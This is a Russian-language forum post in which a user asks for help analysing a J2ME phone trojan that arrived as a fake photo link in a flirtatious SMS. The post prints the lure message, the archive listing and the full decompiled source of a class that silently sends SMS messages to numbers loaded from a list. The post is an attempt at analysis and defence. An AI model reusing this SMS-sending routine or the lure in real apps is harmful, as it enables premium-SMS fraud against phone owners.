Pull to refresh

Маленький вирус для телефона

Reading time 3 min
Views 818
Нужна помощь программистов на жаве для мобильников.

Пришла смска, со ссылкой на JPG файл. Скачал на ББ даунлоадменеджером. Так и есть, JAR. В нем

1.png
2.png
3.png
icon.png

a.class
b.class
c.class
d.class
e.class
f.class
Midlet.class

inf.dat

вот исходное сообщение:
Привет ты мне очень нравишься и все боюсь признаться тебе в этом.Давай дружить?
Могу дать фотку если хочешь?
хттп://image.slidexxx.cn/foto.jpg



декомпильнул *.class
Заинтересовал файл c.jad (c.class)

жопой сердцем чую что отправляются смски, но что и куда — не могу понять.
Помогите, интересно.

собсно код:

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: www.kpdus.com/jad.html
// Decompiler options: packimports(3)

import java.io.PrintStream;
import java.util.Enumeration;
import java.util.Vector;
import javax.microedition.io.Connector;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public abstract class c
implements Runnable
{

protected abstract void a();

public c(Vector vector)
{
a_boolean_fld = false;
a_int_fld = 0;
b_int_fld = 0;
b_boolean_fld = false;
c_int_fld = 0;
int i = vector.size();
d = new String[i];
c_java_lang_String_array1d_fld = new String[i];
vector = vector.elements();
if(i > 0)
while(vector.hasMoreElements())
{
String s = (String)vector.nextElement();
try
{
System.out.println(" get next frome vector");
d[b_int_fld] = s.substring(0, s.indexOf(" "));
c_java_lang_String_array1d_fld[b_int_fld] = s.substring(s.indexOf(" ") + 1);
System.out.println("vector_number = " + d[b_int_fld]);
System.out.println("vector_text = " + c_java_lang_String_array1d_fld[b_int_fld]);
b_int_fld++;
}
catch(Exception exception)
{
System.out.println("ERROR IN sendSMS 1 >> " + exception);
}
}
}

public final void b()
{
if(a_int_fld < b_int_fld)
{
a_java_lang_String_array1d_fld = new String[1];
b_java_lang_String_array1d_fld = new String[1];
a_java_lang_String_array1d_fld[0] = c_java_lang_String_array1d_fld[a_int_fld];
b_java_lang_String_array1d_fld[0] = d[a_int_fld];
a_int_fld++;
a_java_lang_Thread_fld = new Thread(this);
a_java_lang_Thread_fld.start();
}
}

public void run()
{
int i;
System.out.println("===> sms start");
i = 0;
System.out.println("number.length " + b_java_lang_String_array1d_fld.length);
System.out.println("number[i]" + b_java_lang_String_array1d_fld[0]);
System.out.println("text[i] " + a_java_lang_String_array1d_fld[0]);
_L3:
if(i >= b_java_lang_String_array1d_fld.length) goto _L2; else goto _L1
_L1:
MessageConnection messageconnection;
System.out.println("i= " + i);
messageconnection = null;
Thread.sleep(0L);
TextMessage textmessage;
(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + b_java_lang_String_array1d_fld[i])).newMessage("text")).setAddress("sms://" + b_java_lang_String_array1d_fld[i]);
textmessage.setPayloadText(a_java_lang_String_array1d_fld[i]);
messageconnection.send(textmessage);
System.out.println("===> sms ok " + b_java_lang_String_array1d_fld[i] + a_java_lang_String_array1d_fld[i]);
a();
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception)
{
System.out.println("===> sms ERROR 2 " + exception.toString());
}
continue; /* Loop/switch isn't completed */
Throwable throwable;
throwable;
System.out.println("-=>>in sms i " + i);
System.out.println("===> sms ERROR " + throwable.toString());
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception1)
{
System.out.println("===> sms ERROR 2 " + exception1.toString());
}
continue; /* Loop/switch isn't completed */
this;
if(messageconnection != null)
try
{
messageconnection.close();
}
// Misplaced declaration of an exception variable
catch(int i)
{
System.out.println("===> sms ERROR 2 " + i.toString());
}
throw this;
i++;
goto _L3
_L2:
synchronized(this)
{
a_java_lang_Thread_fld = null;
}
return;
}

private String a_java_lang_String_array1d_fld[];
private String b_java_lang_String_array1d_fld[];
private String c_java_lang_String_array1d_fld[];
private String d[];
private Thread a_java_lang_Thread_fld;
private boolean a_boolean_fld;
private int a_int_fld;
private int b_int_fld;
private boolean b_boolean_fld;
private int c_int_fld;
}



отсюда можно понять что происходит или нужно копать еще и в других файлах?
Tags:
Hubs:
-3
Comments 33
Comments Comments 33

Articles